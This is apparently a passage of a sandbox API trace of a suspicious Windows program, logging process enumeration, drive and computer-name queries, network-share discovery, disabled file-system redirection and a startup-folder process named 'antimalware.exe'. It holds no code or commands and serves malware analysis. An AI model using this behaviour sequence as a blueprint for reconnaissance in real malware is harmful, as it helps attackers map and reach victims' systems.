	[0061.656] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0061.657] lstrlenW (lpString="Memory Compression") returned 18
	[0061.657] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0061.657] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0061.658] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0061.658] lstrlenW (lpString="SearchUI.exe") returned 12
	[0061.658] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0061.659] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0061.659] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0061.660] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0061.660] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0061.660] lstrlenW (lpString="taskhostw.exe") returned 13
	[0061.660] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0061.661] lstrlenW (lpString="UsoClient.exe") returned 13
	[0061.661] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0061.662] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0061.662] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0061.662] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0061.662] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0061.664] lstrlenW (lpString="msoia.exe") returned 9
	[0061.664] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0061.664] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0061.664] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0061.665] lstrlenW (lpString="msoia.exe") returned 9
	[0061.665] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0061.666] lstrlenW (lpString="roof.exe") returned 8
	[0061.666] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0061.667] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0061.667] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0061.667] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0061.667] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0061.668] lstrlenW (lpString="cause.exe") returned 9
	[0061.668] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0061.669] lstrlenW (lpString="occasionstax.exe") returned 16
	[0061.669] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0061.669] lstrlenW (lpString="distributors.exe") returned 16
	[0061.669] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0061.670] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0061.670] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0061.671] lstrlenW (lpString="rand.exe") returned 8
	[0061.671] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0061.671] lstrlenW (lpString="unlikely.exe") returned 12
	[0061.672] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0061.672] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0061.672] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0061.673] lstrlenW (lpString="promotion.exe") returned 13
	[0061.673] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0061.674] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0061.674] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0061.674] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0061.674] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0061.675] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0061.675] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0061.676] lstrlenW (lpString="bad-length.exe") returned 14
	[0061.676] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0061.677] lstrlenW (lpString="unit.exe") returned 8
	[0061.677] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0061.678] lstrlenW (lpString="parents.exe") returned 11
	[0061.678] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0061.678] lstrlenW (lpString="charge.exe") returned 10
	[0061.678] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0061.680] lstrlenW (lpString="measures-provision.exe") returned 22
	[0061.680] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0061.680] lstrlenW (lpString="dllhost.exe") returned 11
	[0061.681] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.681] lstrlenW (lpString="conhost.exe") returned 11
	[0061.681] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.682] lstrlenW (lpString="conhost.exe") returned 11
	[0061.682] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0061.683] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0061.683] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0061.684] lstrlenW (lpString="cmd.exe") returned 7
	[0061.684] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.685] lstrlenW (lpString="conhost.exe") returned 11
	[0061.685] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.685] lstrlenW (lpString="svchost.exe") returned 11
	[0061.685] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0061.686] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0061.686] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0061.687] lstrlenW (lpString="conhost.exe") returned 11
	[0061.687] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.688] lstrlenW (lpString="svchost.exe") returned 11
	[0061.688] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0061.688] lstrlenW (lpString="LogonUI.exe") returned 11
	[0061.689] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0061.689] CloseHandle (hObject=0x2d0) returned 1
	[0061.689] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 5
	os_tid = 0xdbc

	[0036.567] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff
	[0036.567] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x694ca0 | out: hHeap=0x650000) returned 1

Thread:
	id = 6
	os_tid = 0xf94

	[0036.568] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6b7e40
	[0036.568] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6b7e40, Size=0x20) returned 0x68f828
	[0036.568] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x68f828, Size=0x40) returned 0x66b338
	[0036.568] GetLogicalDrives () returned 0x4
	[0036.568] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x6eeb38
	[0036.636] GetComputerNameW (in: lpBuffer=0x6eeb3c, nSize=0x272ff64 | out: lpBuffer="NQDPDE", nSize=0x272ff64) returned 1
	[0036.636] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1000) returned 0x6aaee0
	[0036.636] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x665f20) returned 0x0
	[0036.638] WNetEnumResourceW (in: hEnum=0x665f20, lpcCount=0x272ff30, lpBuffer=0x6aaee0, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x6aaee0, lpBufferSize=0x272ff38) returned 0x103
	[0036.639] WNetCloseEnum (hEnum=0x665f20) returned 0x0
	[0036.639] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x7430b0) returned 0x0
	[0041.086] WNetEnumResourceW (in: hEnum=0x7430b0, lpcCount=0x272ff30, lpBuffer=0x6aaee0, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x6aaee0, lpBufferSize=0x272ff38) returned 0x0
	[0041.086] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1000) returned 0x4284090
	[0041.086] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6aaee0, lphEnum=0x272ff08 | out: lphEnum=0x272ff08*=0x665d60) returned 0x0
	[0041.088] WNetEnumResourceW (in: hEnum=0x665d60, lpcCount=0x272ff04, lpBuffer=0x4284090, lpBufferSize=0x272ff0c | out: lpcCount=0x272ff04, lpBuffer=0x4284090, lpBufferSize=0x272ff0c) returned 0x103
	[0041.088] WNetCloseEnum (hEnum=0x665d60) returned 0x0
	[0041.088] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1000) returned 0x42860a0
	[0041.088] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6aaf00, lphEnum=0x272ff08 | out: lphEnum=0x272ff08*=0x0) returned 0x4b8
	[0060.255] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1000) returned 0x4283088
	[0060.255] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6aaf20, lphEnum=0x272ff08) 

Thread:
	id = 7
	os_tid = 0xf78

	[0036.630] GetTickCount () returned 0x1f47d
	[0036.630] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x24) returned 0x666cf8
	[0036.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0036.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0036.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0036.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x666cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0036.632] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9828
	[0036.632] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9828, Size=0x20) returned 0x68f828
	[0036.633] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a99d8
	[0036.633] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a99d8, Size=0x20) returned 0x68f8f0
	[0036.633] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0036.633] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0036.633] Wow64DisableWow64FsRedirection (in: OldValue=0x286ff7c | out: OldValue=0x286ff7c*=0x0) returned 1
	[0036.633] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.633] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f828 | out: hHeap=0x650000) returned 1
	[0036.633] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.633] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0036.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x696ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0036.633] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0037.630] GetTickCount () returned 0x1f865
	[0037.630] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0037.755] GetTickCount () returned 0x1f8e2
	[0037.755] GetTickCount () returned 0x1f8e2
	[0037.755] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0038.572] GetTickCount () returned 0x1fc0e
	[0038.572] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0038.743] GetTickCount () returned 0x1fcba
	[0038.743] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0039.708] GetTickCount () returned 0x200a2
	[0039.742] GetTickCount () returned 0x200a2
	[0039.742] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0039.890] GetTickCount () returned 0x2012f
	[0039.890] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0040.012] GetTickCount () returned 0x201bb
	[0040.012] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0040.134] GetTickCount () returned 0x20229
	[0040.134] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0040.298] GetTickCount () returned 0x202c5
	[0040.299] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0040.396] GetTickCount () returned 0x20332
	[0040.396] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0040.505] GetTickCount () returned 0x203a0
	[0040.505] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0040.692] GetTickCount () returned 0x2045b
	[0040.692] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0040.910] GetTickCount () returned 0x20536
	[0040.910] GetTickCount () returned 0x20536
	[0040.910] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0041.241] GetTickCount () returned 0x2067e
	[0041.241] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0041.548] GetTickCount () returned 0x207b6
	[0041.548] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0042.214] GetTickCount () returned 0x20a56
	[0042.214] GetTickCount () returned 0x20a56
	[0042.214] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0042.887] GetTickCount () returned 0x20cf6
	[0042.887] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0043.481] GetTickCount () returned 0x20f48
	[0043.481] GetTickCount () returned 0x20f48
	[0043.481] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0043.805] GetTickCount () returned 0x21080
	[0043.805] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0044.266] GetTickCount () returned 0x21255
	[0044.266] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0044.606] GetTickCount () returned 0x213ad
	[0044.606] GetTickCount () returned 0x213ad
	[0044.606] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0044.975] GetTickCount () returned 0x21514
	[0044.975] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0045.121] GetTickCount () returned 0x215b1
	[0045.121] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0045.247] GetTickCount () returned 0x2162e
	[0045.247] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0045.462] GetTickCount () returned 0x216f9
	[0045.462] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0045.574] GetTickCount () returned 0x21776
	[0045.574] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0045.916] GetTickCount () returned 0x218be
	[0045.916] GetTickCount () returned 0x218be
	[0045.916] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0046.151] GetTickCount () returned 0x219a8
	[0046.151] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0046.475] GetTickCount () returned 0x21af0
	[0046.475] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0046.832] GetTickCount () returned 0x21c58
	[0046.832] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0046.944] GetTickCount () returned 0x21cc5
	[0046.944] GetTickCount () returned 0x21cc5
	[0046.944] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0047.149] GetTickCount () returned 0x21d90
	[0047.149] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0047.331] GetTickCount () returned 0x21e4c
	[0047.331] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0047.600] GetTickCount () returned 0x21f55
	[0047.600] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
	[0047.699] GetTickCount () returned 0x21fc3
	[0047.699] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102
